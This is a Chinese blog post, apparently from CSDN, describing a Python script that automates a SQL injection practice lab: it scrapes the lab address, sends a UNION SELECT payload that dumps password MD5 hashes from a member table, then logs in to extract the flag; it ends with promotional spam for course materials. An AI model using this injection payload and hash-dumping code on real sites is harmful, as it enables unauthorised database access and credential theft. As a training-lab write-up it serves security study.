【用python自动注入“sql手工注入靶场”】_python搭建模拟数据库攻击靶场

在这里插入图片描述
首先要在请求头里添加已登录的cookie:
【利用“Cookie-Editor+python脚本”将cookie生成key=value;key=value的形式】

url = "https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe"
headers = [
        ("User-Agent",
         "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36"),
        ('Cookie', cookie)
    ]
req = urllib.request.build_opener()
    req.addheaders = headers
    data = req.open(url).read().decode('utf-8')

获得html源码后再利用正则获取ip地址+端口号:

def get\_ip\_and\_port(data):
    print('正在获取ip与端口...')
    ip_pat = re.compile(r'<em>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})</em>')
    port_pat = re.compile(r'<em>(\d{5})</em>')
    ip = ip_pat.search(data).group(1)
    port = port_pat.search(data).group(1)
    print(ip + ':' + port)
    return ip + ':' + port

注入获取登录密码md5值

访问ip+端口号后是一个登录界面:
在这里插入图片描述
存在注入的界面在登录框下方的通知里:
在这里插入图片描述
经过手工测试,登录名都为:mozhe,获取密码的注入payload为:

?id=-1%20union%20select%201,2,group_concat(password),4%20from%20mozhe_Discuz_StormGroup.StormGroup_member

注入后会获得两个md5密文,经测试,第二个才是随机的md5密码:
在这里插入图片描述
那么获取密码的方法就为:

def get\_md5():
    payload = r'http://' + ip_and_port + r'/new\_list.php?id=-1%20union%20select%201,2,group\_concat(password),4%20from%20mozhe\_Discuz\_StormGroup.StormGroup\_member'
    print(f'正在利用payload:\n{payload}\n注入获取md5值...')
    data = urllib.request.urlopen(payload).read().decode('utf-8')
    md5_pat = re.compile(r',([a-z0-9]{32})')
    print('获取md5成功!\n', md5_pat.search(data).group(1))
    return md5_pat.search(data).group(1)

登录后台获取flag

获取到md5密文后到解密网站解密,拿回来的明文密码登录登录。默认账号就是mozhe。登录后会获得一个以mozhe开头的32位flag,将这个flag上传就解题成功了。
在这里插入图片描述
在这里插入图片描述
在首页提交key即可:
在这里插入图片描述

获得明文密码后,自动登录。利用正则获取flag方法:

def get\_flag():
    try:
        passwd = input()
        url = r'http://' + ip_and_port + '/login.php'
        form = {'name': 'mozhe', 'password': passwd}
        data = requests.post(url=url, data=form).text
        flag_pat = re.compile('(mozhe[a-z0-9]{27})')
        key = flag_pat.search(data).group(1)
        print('获得flag成功!')
        print(key)
        return key
    except Exception as e:
        print('获得flag失败!')
        print(e)

源码方法基本已给出,组装一下就可以用了。

简单测试

由于能力有限,没有写出自动获取md5值解密的方法,所以速度卡在了需要手动md5解密。

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值